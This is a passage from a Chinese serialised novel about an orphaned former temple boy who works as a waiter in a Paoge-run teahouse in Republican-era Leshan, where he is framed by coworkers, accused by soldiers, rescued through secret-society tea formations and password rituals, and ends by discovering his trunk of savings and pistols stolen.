嬢通娘,在西南官话里是对女性长辈的一种称呼,嬢嬢大体指的是比自己辈分高的50岁以下的女性,若是年纪再大一点,五六十岁就该被称呼为姑婆了。
刘五嬢长得高高大大白白净净,一双天足宽大,四肢健壮修长,任谁看了都得赞一声身体好,她五官长得柔和,神色却十分精明干练。她常年盘发用的不是普通妇女的双尖簪,而是两根峨嵋刺,尖头寒芒闪耀,年轻时便震得那些臭男人不敢近身。
这次选新堂倌,其实大部分都是有保人内推来的。本来刘五嬢也觉得差不多了,但她刚一点头,就看见个少年不卑不亢地走进来,眼神直接落在她身前桌上的茶碗阵上一动不动,于是刘五嬢的点头变成了摇头。
“幺哥,不急,再看看这个。”刘五嬢的声音偏低哑,她直觉这少年不是普通人。
“小伙子,这是什么?”刘五嬢指了指桌上的茶碗茶壶。
周立行看着茶碗阵,神思恍惚,仿佛回到了老主持还健在的时候,有些客人前来,会喜欢拿茶碗摆阵,这时候老主持会唤他去帮着用茶碗对阵,一番对阵下来,还会说些云里雾里的话语。
虽然老主持从未解释过什么,但他也学到了很多。
眼前这茶碗,上三中五下斜两路各八,正是……
“梁山阵。”周立行轻声回答。
刘五嬢神色一凛,迅速开始变换茶碗。
周立行则是根据茶碗的数量、位置开始回答阵名,“孔明上台令诸将阵、关公护送二嫂阵、患难相扶阵、赵云救阿斗阵、七星阵、六”顺阵、五梅花阵……
“小兄弟请二楼说话。幺哥,给没选上的人发点铜钱,今日就这样了。”刘五嬢不再试探,起身请周立行去另外的房间。
周立行有些无措,但他隐约猜到,老主持怕不是什么简单人物,以前山上来来往往的人里,更是有些什么江湖人物。
可他只是知道阵名,却并不知道其中缘由,若是胡言乱语,怕是要惹麻烦。
于是刚上二楼一进门,不待刘五嬢询问,周立行率先上前一步,抱拳说话:
“五孃,我姓周,师父取的名字叫九青。这些阵名是我师父教的,但师父前些日子已经去世了。我猜师父以前是个走江湖的人物,但他养育我这个孤儿好几年,却没有讲过他以前的事情。五孃,我师父跟你是旧识哇?”
周立行说的都是真的,但关键信息都是含糊的,名字则是化用了静空师兄的俗名。都说人在江湖走,名号必须有,可他实在是不喜欢叫自己猴狲舵把子。
刘五嬢听周立行如此说,叹口气,“那也未必,这些茶碗阵是我们袍哥人家的密语,我还以为是哪个堂口码头派人来有事相商,原是你这袍哥养大的孩子流落街头了。”
她又仔细端详了周立行的五官,再沉默回想了下自己认识的人,最终断定:
“我和你的师父应是不相识。我刘五嬢的侠义心肠在乐山地区也是响当当的,若是认得,他临终之前肯定会写下拜帖让你上门找我。”
不知道是想到什么故人,刘五嬢有些怅然地摇了摇头,“罢了,你能来这里也是缘分,那就留在这里当个堂倌吧。好好
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干,什么时候要走,得跟我说一声。”
“谢谢施主。”周立行下意识地双手合十。
刘五嬢不知想到什么,笑了一声,“啧,还是个僧道门,倒是让我想起故人了。好了,小九娃,以后可别在我的茶馆里给别人算命啊。”
周立行赶紧把双手换成抱拳,心想自己得赶紧改了这三年养成的习惯。
*
阴差阳错的缘分,让周立行进入千秋茶馆,开始当起小堂倌。
因刘五嬢误以为周立行是袍哥家属,她对幺哥叮嘱要多关照。幺哥得了嘱咐,便亲自把周立行带在身边教导。
“茶叶库房一个,茶具库房一个,瓜果蜜饯烟草库房一个,钥匙都是由我管理,但得有五嬢的信物才能开。遇到客人打架动手的,躲远点,记着摔坏了什么东西,方便给账房报数……”
周立行点着头,心想看来茶馆里闹事的频率不低。
“茶馆里共有采买管事、账房管事、佣工管事各1人,账房记账2人,杂工2人,厨工2人,门房5人,瓮子匠(茶馆伙夫)2人,堂倌15人,合作的挑水夫6人,这些你都要认识。”
“九娃儿,一定要记熟常来的贵客的姓名,若是遇到【喊茶钱】,可得眼睛放亮一些,要看得出哪些是真心实意请茶的,哪些是装样子的,若是收错了人,他们下次便不会来了,说不定还会迁怒你……”
喊茶钱,是值有些有钱有面子有实力的人到了茶馆,那些受过他帮助或者恩惠的,以及钦佩他为人的,或是觉得自己实力足够要给别人面子的,都纷纷要喊“他的茶钱我给了!”“他的茶钱算我的!”“他的茶钱我来付!”之类的话。
如果一个人走到哪里,无论是茶馆还是面馆、饭馆,都有人主动付账,那么这个人会被称为【吃得开】。
如果一个人走到哪里,都敢给亲朋好友或是江湖人士付账,那么这个人会被称为【请得起】。
不管是【吃得开】,还是【请得起】,都是极有面子的事情。以至于有很多人都喜欢给别人喊茶钱,然而真喊还是假喊,就很考验堂倌的眼力了。
周立行心想自己应该没问题,他不说多会察言观色,但起码直觉还是挺准的。
“五嬢说你识得一些袍哥堂口的茶阵,空了我再教教你,若是遇到上门拜堂口求助的袍哥兄弟伙,万不可怠慢,哪怕他们犯的是杀人放火的黄事,我们这里是袍哥办的茶馆,不能拉稀摆带……”
周立行郑重地点头,怪不得之前刘五嬢那么正式地对待他。
“茶馆里除了客人,还有卖花的姑娘,掏耳朵的小工,擦鞋的孩童,打金钱板说书的先生,唱戏的戏子,算命的老头……这些三教九流的人在茶馆里混口饭吃,是给茶馆交了分成的,你要注意,能适当照顾就照顾,若是他们惹事,该赶出去就赶出去……”
“别调戏妹儿,五嬢最恨这个。”
“我晓得了,谢谢幺哥。”周立行能感受到幺哥对他的真诚,他也回报了认真。
幺哥带周立行带的十分用心,周立行也学的十分用心。
他在寺庙里待了几年,就算是笑着喊人,都自待一股子沉心静气感,人机灵、长得俊俏、手脚麻利,又是认真学了几年武,穿堂送茶无论人多拥挤,他都能把茶盏稳稳当当地送到客人手里。
并且他不靠师傅教,仅靠看和揣摩,便学会了功夫茶的身姿。
刘五嬢见这少年如此能来事儿,又看得出周立行身怀武艺动作敏捷,正好二楼雅间区域有个堂倌得罪客人被打断了腿,便让这机灵小子去二楼服务雅间贵客。
上二楼,是很多堂倌们梦寐以求的事情,哪怕得罪包间贵客们的下场比得罪大堂客人严重得多,但二楼的工资比大堂要高一倍。
眼见这个刚来的小子得了青眼,有些堂倌心中不爽便红了眼。
这日清晨,茶馆尚未营业,堂倌们尚在打扫卫生清洗茶碗,便嘀嘀咕咕地聊了起来。
“这九娃儿,真的是运气好哦。”
“啥子运气好嘛,人家是脑壳聪明手脚快,你都干两年了,咋没见你各人学会倒工夫茶呢。”
“工夫茶?啥子功夫?讨好婆娘呢功夫嗦?”
9.千秋茶馆
刘斑鸠怪话一讲,周围的堂倌们都嘻嘻哈哈笑起来。
“嘿,你莫乱讲哦,掌柜虽然是个女的,一来人家都可以当周小弟的妈了,二来人家是嗨袍哥呢哈,你莫要不晓得轻重,让掌柜的晓得了最多给你两耳屎喊你滚,拿给她的兄弟伙晓得了,你娃儿舌头都要遭割!”
幺哥沉着脸呵斥道。
那开黄腔的年轻小伙,人称冯斑鸠,来千秋茶馆两年了,一直没能去二楼,本想乱说一通过过嘴瘾,没想到被幺哥给怼了回去。
他平日里就觉得幺哥也只是堂倌,不过是靠奉承刘五嬢得来个管钥匙的权力,现在对方说他,他更是不爽快了。
于是冯斑鸠嘴硬道,“嗨袍哥了不起哦,哪个不能嗨嘛?哪天合适了我去成都嗨个更大的袍哥公口,当个三爷五爷的,不比她个女人威风?”
幺哥听他吹嘘,笑了笑,端起洗好的茶碗去晾干,不想跟冯斑鸠这种脑子不清醒的人说话,要不是看在保人的面子上,幺哥能马上把这个不知天高地厚的东西给赶走。
年长堂倌一走,其他但凡聪明不想惹事的堂倌们也各自干活不再接话,只有两三个跟来的比冯斑鸠迟的堂倌们围着他继续絮叨。
“就是,女人家家的,挣再多钱又咋子嘛,还不是她儿子的。”
“不过这个婆娘确实能干哈,我也想娶个这样的。”
“那你不是要当耙耳朵哦?她打人有点凶哦,上回有人来闹事,她那峨嵋刺一扔,直接洞穿了别个的肩膀!牛批得很!
”
冯斑鸠脸色一变,“不要说掌柜的了,还是说那个周九青,想办法把他吆走,我去二楼的话,以后才能想办法把你们兄弟几个也带上去。”
那三个小跟班点头称是,四人看左右无人关注他们,便小小声地密谋起来。
*
周立行觉得今日从早起便诸事不顺,似是霉运将至。
大清早的喝水呛着,咳得撕心裂肺;刚走到院子里便被鸟屎淋了头,待到清洗二楼自己负责的三个包间的名贵茶具,更是几次莫名其妙的走神手滑,吓得他心跳急促。
眼看着日上三竿,今日楼下的客人们却多了许多当兵的,听起来口音川西川北、川南川东都有,有的在打贰柒拾(一种乐山地区的特色纸牌),有的在下棋,有的围着戏台听评书,颇为喧哗。
到底是在寺里待了几年,周立行觉得今日怕是有事要发生,他寻思着要不装病请个假,却无意间发现冯斑鸠和两个堂倌交代了什么,那两个堂倌便鬼鬼祟祟地往二楼走。
虽然上了二楼后,和冯斑鸠的交道便少了,但他一眼便能看出冯斑鸠的为人—自私自利,胆大愚蠢。
眼下着情况,用脚趾头都能猜到冯斑鸠和这两人定是要给自己找麻烦。周立行思量了下,不知道这三人要怎么栽赃自己,若是现在去请假,岂不是让他们钻了空子?
眼下在这茶馆,周立行觉得待的还是较为舒适的,每日里虽然忙碌,但能吃饱有地方睡,自个儿身上还有积蓄和防身武器。尤其是二楼贵客,高兴了还能给打赏,一时半会儿周立行还不想离开这里。
既不想走,那便要跟这些人斗一斗了,如同在峨嵋山跟猴子们打架一样,周立行心想人和猴子没区别,都是要争出个生死输赢了,才能服气。
这般想着,周立行脚步一转,回了自己守的区域。他倒是要看看,对方要搞什么幺蛾子。
*
被冯斑鸠一打岔,周立行便没能及时请假,而后发生的一切,都似冥冥之中自由定数一般。
那一日,一名头戴土黄瓜皮帽,身穿对襟黑皮袄,深蓝色的长衫长裤像是几年没洗过,头发花白的算命先生,走到了千秋茶馆的门口。
“怪哉,这卦象算出来是在此处,可此处故人……”
算命先生不知道从哪里搞了副圆圆的墨镜,他摇头晃脑,摸了摸身上,噫,身无分文。
“罢了罢了,进去讨一杯茶喝。”算命先生自言自语道,“看起来像是个堂口,去找找有没有袍哥兄弟,蹭个吃来蹭个喝,哎~巴适~”
这日晌午恰好有说书人,讲那鸿门宴,算命先生进去一看,啧,一窝子当兵的男人们横七竖八地喝茶嗑瓜子,时不时还要调戏下那茶馆里卖栀子花黄桷兰的小姑娘,于是算命先生往二楼一看,得,去二楼吧。
算命先生往二楼一走,随意挑了个挂【贤松】牌的包间,进去之后便让堂倌上20个茶碗。
这堂倌,恰巧,正是周立行。
三年过去,周立行从那个瘦弱的小孩,已经长成匀称结实的少年,五官也长开了,算命先生没一眼把他认出来。
可算命先生这三年,除了脸上皱纹多了点,衣服洗旧了许多,头发白得差不多外,其他一切都没有变化,包括那一身走江湖常年不洗澡的臭味。
周立行认出了这算命先生,可没个好脸色,但又想到这是刘五嬢的茶馆,他便是要寻当年小钱包的仇,也不能在这里,便沉着脸去取茶碗。
算命先生当然看得出这俊俏的小堂倌没拿好脸色对他,可走江湖闯码头,他见过的嫌穷爱富、拜高踩低的人多了,丝毫不在意。
等周立行端来了20个重叠的茶碗,算命先生便摆了个茶阵,然后双腿平放,双手放在膝上,左手做出三把半香的姿势,便不再说话。
周立行在茶馆干了这些时日,有幺哥和刘五嬢时不时的提点,见算命先生这样子,便知道算命先生是外地袍哥来拜码头的意思了,只得赶紧去找楼下幺哥,请幺哥通传掌柜的上来一叙。
今日楼下兵油子多,幺哥怕楼下缺了他要出乱子,便跟刘五嬢建议让她带九娃儿去会一会那个算命的老头,毕竟算命的老头单枪匹马来拜会,便是有事应也不大。
刘五嬢便带着周立行一起进了【贤松】房间,其他包间让二楼的其他堂倌先照管着。
于是,周立行第一次见袍哥组织是如何拜码头的。
刘五嬢进了房间,先看茶阵,然后收了茶碗,以同样的“三把半香”手势为算命先生倒一碗茶。算命先生也以同样手
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势倒一碗茶,两茶碗位置相对,做了个“双龙仁义阵”。
“双龙戏水喜洋洋,好比韩信/访张良。今日兄弟来相会,先饮此茶作商量。”
刘五嬢端起茶碗一饮而尽,回道:
“太阳出来喜洋洋,我与兄弟好商量。半夜三更月儿亮,兄弟何事来公堂。”
然后刘五嬢不待对方回答,先问,“汉留从何处来?汉留到何处去?可有公片宝札,以证根源?”
说完这话,算命先生取下墨镜,喜悦大喊,“春妹儿!”
刘五嬢瞪大眼,不可置信地回应道:“黑老鸹?!”
哦豁,站在旁边的周立行心中叹息,这世间缘分还真是奇妙,这个算命的黑老鸹,竟然和刘五嬢还是故人!
看来小钱包的仇,是不太能报了……也不知道那小钱包的袋子,这黑老鸹丢没丢……
眼见着两人要叙旧,估计刘五嬢是要让自己出去的,周立行心一横,单刀直出地自爆身份,“还有我,立行。”
黑老鸹见了故旧,正是心潮澎湃想要一叙当年的时候,冷不丁旁边的少年开口,他有些迷惑,“立行,什么立行?”
“立说立行,洪雅柳江。”周立行见黑老鸹还是一脸迷茫,不得不再提醒一下,“谁当年说我六亲无靠,刑克至亲的,让我去出家当和尚当到三十岁,还偷走了我姨妈给我的小钱包!”
周立行越说越气,姨妈给的小钱包丢了,家婆送的棉衣也落在峨嵋山了,他身上只剩下一把匕首,于是他把匕首拍在桌子上,发出“啪”地一声。
“想起来了吗?!”
刘五嬢猝不及防听到这八卦,一腔叙旧的激动都被对八卦的热情给压了下去,便也不急着阻止周立行,假装端茶喝,实则一双眼不停地往黑老鸹脸上瞟。
黑老鸹常年在云贵川一带走江湖,坑蒙拐骗的人太多,哪怕周立行说的很清楚了,他也只能依稀想起来个印象。
好像是在川南洪雅县柳江镇遇见过挺凶悍的小孩子,他给对方算了命,还顺走了小钱包,可那是顺!不是偷!他算命本就是要收钱的!
但眼下,这少年长得结实,态度又凶,又是跟着春妹儿的人,还把刀子给他丢眼前了,他只好认怂道:
“哎呀,大水冲了龙王庙嘛,大家现在都是袍哥兄弟伙了,好多点钱嘛,我去挣了还你就是……”
周立行不服气,“你挣来的,也不是姨妈给我的了!你把小钱袋还我,这事儿就当过了!”
说完,周立行还瞥了眼刘五嬢。
刘五嬢端着茶杯闷笑,好似看到什么不得了的笑话一般,默许了周立行的行为。这九娃儿,还多有意思的,要钱的话黑老鸹可以去坑骗,要以前的小钱袋,那可是要为难死黑老鸹咯。
黑老鸹见刘五嬢只笑不劝,顿时一个头两个大。
“我的小兄弟呢,几年前的东西,又不是我穿的衣裳鞋儿,我咋个可能留起嘛……你换个条件,要不当我欠你一个人情,你有啥子事需要我做,我就去做嘛,要得不……”
10.千秋茶馆
周立行气鼓鼓地立着,黑老鸹求饶作揖,刘五嬢笑得花枝乱颤,过了一小会儿,刘五嬢终于乐够了,发话道:
“好了,九娃儿,我听隔壁房间有人了,你去照管下。这黑老鸹好不容易来,我是要留他在峨嵋耍一段时间的,之后再说嘛哈。”
听刘五嬢这样说,周立行只得暂时作罢,退出了房间。
*
茶馆二楼都是包间,因周立行年纪小,刘五嬢给他只分了【贤松】【灵秀】【明泉】三个包间,除开刚刚刘五嬢自己用来待客的一间外,剩下两间都是本地客人常年包了的。
不过这分的包间,只是平日的卫生打扫和日常准备,待客的时候,则也是相互着来的。
已经包出去的雅间,平日里不管来与不来,堂倌都要清洗好茶碗,玻璃柜里随时准备好名贵茶叶;有时候雅间主人不来,会让别的客人拿着手写的帖子前来,便也是可以使用包间的,产生的一切费用,都记在主人的名下,一月一结或一季度一结,就全看雅间主人和茶馆老板是怎么谈的。
盖因这茶馆是本地一个袍哥组织的堂口,倒也没有太多欠账行为,也有一些包间本就是给官绅准备的,那些从不收钱,收的是“关照”。
周立行去第【灵秀】包间的时候,帮忙的堂倌已经招呼好客人们坐下了。
这次来的是兰家的少爷小姐共五人,还带了三名丫鬟两个男仆,周立行去表演了个功夫茶,得了些赏钱出来,便遇上了一名着军装的长官,带着手下和两名头上戴着红白山茶花、手中抱月琴、腰挂檀板竹鼓的双胞胎歌女从外面经过。
周立行赶紧鞠躬招呼,“贵客好,贵客去哪间房呀?”
为首的长官歪了歪头,旁边的手下拿着帖子倒着看,周立行眼尖瞅到上面的【明泉】二字,正好是自己分管的第三个包间。
那【明泉】包间,是外地来的一个茶商定的,平时里颇爱让一些生意上打交道的贵客来玩耍,周立行便往前指引,“贵客们是去明泉房吧,这边请,我给几位引路。”
那长官点点头,周立行赶紧引路前去,开门之后招呼贵客们入座,询问道,“贵客们爱喝什么茶?绿红黑黄,房里都备着的。”
见客人们没有马上点茶,周立行便口齿伶俐地补充介绍,“绿茶咱们有佛光普照过的峨嵋雪芽,也有道家瓦屋春雷后的醒神茶,红茶有云南普洱,黑茶有雅安的藏茶,黄茶有蒙顶黄……”
手下们七嘴八舌地问长官,“杨团长,我们平时都和老鹰茶,粗得很,今日要不就每样来一杯,试试看这好茶和我们的粗茶有啥子区别嘛。”
杨团长大手一挥,“行,都上,给兄弟们开开嘴!别忘记咱们还有白山茶和红山茶,来,把你们最拿手的歌都唱起来……嗯,先唱个尼姑下山吧。”
白山茶和红山茶两姐妹对视一眼,本想唱《秋江》的,好吧,《尼姑下山》也行。
她俩一人拿着檀板摆好竹鼓,一人抱琵琶,二重唱了起来:
小小尼姑年方二八呀,独啊坐禅堂哪,怨爹妈呀啊
思前想后,心乱如啊麻
想当初算命先生,排八啊卦
他算我命带,七重哇煞呀
二爹妈啊你不该听鬼话,活你把儿哪送出啊家……
周立行听这咿咿呀呀唱的,心想这歌儿可以学学,以后若是有缘,跟静空师兄唱一唱,那才叫一个妙趣横生。
一边想着,周立行取出茶碗,瞳孔紧缩,心中一凉。
他早上才洗干净摆好的这个房间的专属茶碗,个个都脏了不说,每个茶碗上都有个钝器敲出来的豁口!
天姥爷!这可如何是好!
一整套名贵茶碗有了豁口,且不说价值几何,现在不换茶碗,肯定是没法给贵客们泡茶的了。
周立行心中怒骂冯斑鸠几人,面上只得恭敬道:
“各位贵客,既是所有茶都要泡一遍,那泡茶的茶碗也得用不一样的才搭配。贵客们且听着小曲儿,小的去稍作准备。”
那团长及其下属们本也就是来玩乐,对吃茶并不热衷,倒也没太在意周立行的借口。
周立行急匆匆地回了【贤松】包间,敲了三下门,也没等里面答应,便开门伸个脑袋进去,可怜兮兮地告状:
“五嬢,我遭整了。明泉房里早上还好好的茶碗,现在全有豁口。明泉房里现在是个团长带了下属在听歌女唱曲,我得赶紧去找幺哥开库房拿新茶碗,下来再求五嬢给我做主。”
得说周立行聪明,他三言两语便说清楚了自己的困境,以及给出了解决办法,抓的清轻重缓急。
刘五嬢正和黑老鸹追叙往昔,聊得上头,听周立行这么一说,也认定了这孩子必定是被陷害,于是拔下头上的一根刺簪丢给周立行:
“拿簪子去找幺哥办好。”
周立行接住簪子,一溜烟往楼下去找幺哥了。
*
幺哥正带着在茶馆里干的时间较久的那部分堂倌服侍这群兵爷,见周立行捏着簪子跑来找他,便知道是刘五嬢有吩咐,赶紧把周立行拉到一边。
周立行简单给幺哥讲了下前因后果,幺哥一听就明白是怎么回事,他赶紧带着周立行去库房取新茶具。
这茶馆嘛,闹矛盾吵嘴打架是免不了的,库房里常年都备着各类茶具,以备不时之需。
周立行取了好几套不一
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样的茶具,简单用白毛巾擦了下,赶紧装在一个竹框里,搬着往楼上走。
因是今日茶馆里人着实太多了,周立行心中也有些着急,便没有注意,一个穿军装的人已经悄悄跟上了他。
搬着茶碗回到包间,周立行刚放下,还没来得及说话,门外跟进来一人大喝道:
“小秃驴,果然是你!”
周立行心中一惊,面上稳住,他跟那两个歌女保持了一样的动作和表情,目瞪口呆地看向进门的人。
团长听曲儿看美人玩的好好的,被进门的副官大喝一声吓了一跳,立刻骂道:
“龟儿子吼你妈卖皮,哪个喊你上来的,滚下去!”
进门之人,赫然便是那□□得周立行跳崖的副官!
副官顾不得被骂,指着周立行向他的长官颤声解释,“团长,就是他,八姨太的奸夫!我们漫山遍野都没有找到尸体,原来这小子躲这里来了!”
当初他因监守八姨太不利,抓奸夫又死不见尸,因此挨了团长一顿掏,这段时间都不乐意带他,比如今天团长带着营连排长们被商人请出来玩,其他几个副官可以跟着上二楼包间,他则是只能带着几十号兄弟在楼下坐大堂。
现在见到了当初自认奸夫的小和尚,他怎的也不会让机会飞走!
此话一出,那团长反应过来,立马帽子揭下往桌子上一摔,周围的手下立即一拥而上,把周立行围困起来。
周立行心道原来今日最大的霉运应在了这里,哭笑不得,只得高声喊冤:
“长官!冤枉啊!你说的什么八姨太奸夫?跟我没关系啊!”
副官根本不想听他辩解,是也是,不是也得是,这小子跟那跳崖的小秃驴长得一模一样,要是错也怪他自己长错了!
“团长,我一个人说的不作数,那我们把人带回去,让当日一起去抓人的兄弟们认一认!看看到底是不是他!”
团长一想,觉得也是这么一回事,“行,那龚七,你跟着莫副官带着小子去一趟。”
龚七啧了一声,掏出手枪对着周立行,“走撒。”
周立行一边辩解着“贵客们肯定是认错人了”,一边看似老老实实地跟着走,实则心中飞速盘算该如何脱困。
是走到半路就跑吗?子弹无眼,比刀剑快,会不会一不小心被打死了?
但要是真的跟他们去了什么地方,到时候也是难免一死。
如今看来,能救自己的,怕是只有刘五嬢或黑老鸹了……
想到这里,也恰好走到了【贤松】包间门口,周立行哎哟一声假装摔倒,撞开了包间木门,一摔进去便大喊:
“五嬢,师父,救我!”
11.千秋茶馆
刘五嬢和黑老鸹第二轮被打断,五嬢也有点冒火了,心想又是哪个日龙包惹事,口气便也凶了些:
“又是啥子事!”
此话一出,刘五嬢看到了门口拿枪的龚七,还有扑进来抓人的莫副官。
手比心快,只见刘五嬢手中银芒一闪,一根峨眉刺唰地飞出去,擦着莫副官的手滑出一条血线,叮的一声插入被撞开的木门上,离龚七也是十分的近。
这手一出,无论事莫副官还是龚七,没人相信这是刘五嬢准头不行,都默认刘五嬢是在威慑。
黑老鸹常年行走江湖,眼力十分之强,从那两人的姿态看出必是与立行有仇,刚刚也听春妹儿讲了立行现在名叫周九青,初来的时候有些僧人习性,刚刚又故意喊自己是师父,多半是想要自己帮忙脱围解困。
哎,当初摸人家的小钱袋,此时便得救别个的小命,这一饮一啄,真的是因果命数啊。
黑老鸹脑袋里转的快,行动也快,他哎哟哟地喊着,上前把周立行扶起来,“我的好徒儿哦,让你帮五嬢招待哈客人,咋的搞成这样了?”
龚七手里擦着枪,换了副笑脸走进来,“这位是掌柜刘五嬢吧?在下五通桥清正公堂口嗨过几年袍哥,听说过五嬢名号,今日第一次见,果然好身手。”
刘五嬢也笑意盈盈地站起来,却是向门口奔来的尧哥使了个眼色,“军爷说笑了,不知我这个小堂倌,是犯了啥子错安?看样子你们是要把人带走啊?”
四川的军队,大都是和袍哥组织有牵扯的,甚至有的小股队伍本身就是从堂口转化而来,大家遇到事情都喜欢先报名号,免得大水冲了龙王庙。
莫副官也懂这个道理,但他不懂为什么刘五嬢要出来说话,并且感觉还有点维护这个小秃驴。
“五嬢,这个人之前是个和尚,在峨眉山的回岸寺,跟我长官的八姨太勾搭上了。那个贱人上吊死了,我们去抓这个人的时候,他跳崖跑了,今天在这里遇上,我们肯定是要带回去处置的。”
莫副官简单交代事件的前因后果。
“我都说他们认错人了啊,他们不信,我从小一直跟着师傅走南闯北的,都没有上过峨眉山!”
周立行斩钉截铁地回答,同时掐了一把来扶他的黑老鸹。
黑老鸹心想你个小屁娃掐得也太痛了点,老鸹我行走江湖这么多年,未必还懂不起你的意思啊!
于是黑老鸹回掐了一把,同时对莫副官笑道:
“军爷,你确实认错人了,这是我的徒弟周九青,上个月我喊他先来这里找我的老熟人,之前他一直跟我在重庆那边好几年,这不可能勾你们的啥子八姨太九姨妈的呢!”
刘五嬢瞥了眼黑老鸹以作警告让他不要乱说话,微笑着点头。
“是这般的,这位是黑老鸹,二十多年前我们一起参加保路运动的袍哥人家,十几年前黑老鸹也当过是袍哥大爷的,云贵川一带打过交道的兄弟姊妹多,他没得必要因为这点小事骗你们。”
才怪,他一天不骗人都过不得,天生地长的大骗子。
这边的喧哗让【明泉】房里的团长听到,团长立即带着手下赶了过来,刚好听完刘五嬢的话。
团长没有见过小秃驴,眼看这老头说得情真意切,又被刘五嬢不轻不重地点出老头是以前的袍哥大爷,心中便信了大半,对莫副官的话也产生了怀疑。
莫副官则是听的目瞪口呆,“那他咋长得跟那小秃驴一模一样?”
周立行眼珠子一转,想到房里的歌女、白山茶红山茶双胞胎姐妹,立即高声道,“你们不带了两个一模一样的女孩子吗?这世上,本就又长得一模一样的人!”
黑老鸹顺杆而上,满脸哀戚,“唉,可怜哦,当初我是在路边上捡到这个娃儿的,说不定他有兄弟是被和尚捡走了呢,要是这样说……那他素未谋面的兄弟跳了崖,我们怕还是要去烧哈纸哦……”
龚七冷不丁站出来,摆出一个日月照地的姿势,颇像武术招式,他喊道,“插野草以为香!”
黑老鸹回敬一个刀劈山河的姿势,“酌白水以为酒。”
龚七做松柏姿势,“心坚不怕雪霜侵,万古流芳到如今!”
黑老鸹回清风明月手,“分开左右迎圣主,反清复明合天心。”
周立行就这么目瞪口呆地看他们比划起来,再转头看刘五嬢合门外围上来的客人们,大家却好似这么很正常。
“老辈子走南闯北,识得哪些堂口,见过哪些大爷?”龚七做了个红棍手势。
“老辈子歇东睡西,识得的堂口比菜多,见过的大爷数不清。远近我都讲几个,小辈子你要认真听。近说乐山五通桥,青正、四青、仁通公;远说汶川马尔康,西昌公和西河公。”
黑老鸹骄傲地回了个双龙头手势。
双龙头?龚七眉头一皱,眼前这个黑瘦老头儿竟然当过清水浑水的双老大?
“外八堂,各位爷,是啥牌?”
黑老鸹嘿嘿一笑,“牌把大爷、圣贤二爷、恒侯三爷、管事五爷、巡风六爷、纪纲八爷、挂牌九爷,营门老幺。”
“内八堂,龙、盟、香、佐、陪、刑、执、礼,大爷有几位?”龚七的口气越发谦虚。
“十二位大爷:香长山主,总座龙头、正印副龙头、佐堂执事、盟证监察、陪堂经济、元堂章信、执堂管事、副堂交际、礼堂司仪、刑堂执法,新一通城幺满。”
“兄弟们走过什么路?”龚七已经后退了一步,双手拱起。
“走过铁路,困过马路,滚过皇路,还有一条天上的星汉路。”
黑老鸹回供,悠哉悠哉地回复。
他二人的对话,是辛亥革命前、反清复明的哥老会大公堂才有的设置。哥老会便是袍哥组织的官方称呼,自辛亥革命时大量加入同盟会,后又在四川发动保路运动、辛亥起义、护国运动等,在民国建立后大量袍哥组织由暗转明,社会各类人群纷纷加入,好多地方的堂口已经不是这般设置了。
龚七家学渊源深厚,几代人都在嗨袍哥,因此他听刘五嬢讲着黑老鸹是老一代袍哥人家,便想试探一下。这番对话下来,龚七基本信了黑老鸹确实是老袍哥。
于是龚七对团长点点头,笃定道,“是老辈子。”
团长最近很迷恋茶商为他请来陪同的双胞胎山茶花姐妹,一天到晚四处带,对那个已经死了的八姨太没啥怀念,再说一般人跳下山崖,基本都是一个死,他生莫副官的气也并不完全是因为这个事,所以今天
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对那个小堂倌,他并不是很在意。
眼见这里出了个袍哥老辈子,这种老辈子虽然不当大爷了,势力没了,但人脉往往很广,没事还是别去招惹,否则不晓得要引发多大动静。
于是团长挥挥手,“那就给老辈子个面子,既然老辈子说这是他养大的徒弟,那我们肯定认错了撒。莫副官,赔礼道歉。”
莫副官指着自己,大为震惊,“我?赔礼道歉?”
莫副官跟的这个团,团长为人蛮横霸道,向来只服枪和兵比他多的人,但凡兵比他少一个,他都能骑到对方头上拉屎。对自己的下属惹出来的事儿,只要惹得起对方,他就可以不分青红皂白地护短。
当然,如果遇到惹不起的势力,他也能面不改色地一枪崩了自己人。
莫副官不傻,但此刻他很懵。
就算这个什么黑老鸹是以前的老袍哥,就算这个刘五嬢在乐山一带有点名号,现在团长不追究这个堂倌的事,便算是开恩了,咋地还要喊他低声下气道歉呢?
对方难道是有什么了不得的背景吗?
见莫副官没懂,团长上来给莫副官头上一个爆栗子,“狗日的听不懂人话嗦!”
莫副官欲哭无泪,咬着牙弯腰道歉,“老辈子,对不起,我认错人了。”
黑老鸹会做人,赶紧去把莫副官扶住,“哎呀没事没事,人有失足马有失蹄,都怪我徒弟长得不好。”
莫副官心想,确实,就是你徒弟长得不好!
刘五嬢也出来打圆场,“既然是误会一场,那便各自安好吧。今日大家受了惊,九娃儿,你去吩咐厨房,给军爷们的桌都送一份蜜饯果干,大家吃了心口甜心情也甜,都高高兴兴的哈。”
周立行听刘五嬢这么一吩咐,赶紧一溜烟地跑了。
*
下楼的周立行给幺哥传了话,然后躲进厨房便不再出来了,生怕又惹上什么灾祸。
等到了下午,那团长接到另外的人请吃火锅,才乌泱泱地带着他的丘八离开。
虚惊一场的周立行趁着吃饭的间隙,端着自己的大斗碗回了阁楼。
三个阁楼里,临街阁楼是大通铺,他刚来的时候是睡的那,十几个人挤在一起睡,呼噜声此起彼伏,臭脚丫子味熏人得很;
靠着里面的两栋楼的阁楼则是用竹编做了隔间,二楼堂倌、门房迎宾、厨房管事、库房管事等重要一些的人,则是各有一个小单间。虽然这小单间不隔音,门口的竹编门挂着小铁锁只能防君子不能防小人,但好歹有个属于自己的地盘,周立行也是把这当成了自己的窝。
人回到自己的窝里,总是会放松一些的。
放松的周立行吃完饭,往床上一躺,准备休息几分钟再下楼。
突然,周立行觉得哪里不对,他翻身下床,往床底下一看!
仙人板板!他的木头箱子不见了!
周立行的木头箱子,是他进峨眉县城后买的,毕竟竹编箱子太容易损坏,换成实木的总归是要坚固很多,他还下了血本安了铜锁呢!
箱子里有他从功德箱里捞的钱币银元,还有他的几把手枪!
恨恨地锤了下地,周立行饭碗也不洗了,气愤无比地……第三次奔向了刘五嬢和黑老鸹。
12.千秋茶馆
刘五嬢整带着茶楼里几个管事一起,陪黑老鸹涮火锅,听得门口有声音,转头一看。
好家伙,九娃子又来了!
放下筷子,刘五嬢啧了一声,问道:“又出啥子幺蛾子了?”
周立行瞅了瞅好几个管事,包括幺哥,明白这几个能一起涮火锅的人,才是茶馆里的袍哥成员。
他想了想,觉得还是坦诚点算了……今天他已经欠了五嬢好几个人情,不说清楚箱子里有什么,五嬢未必愿意帮忙追究。
“我的木箱子被偷了,箱子里有我的积蓄,还有四把手枪。”
听到前面的话,刘五嬢果然没什么表情,听到有四把手枪的时候,五嬢的眼神一下子锐利起来。
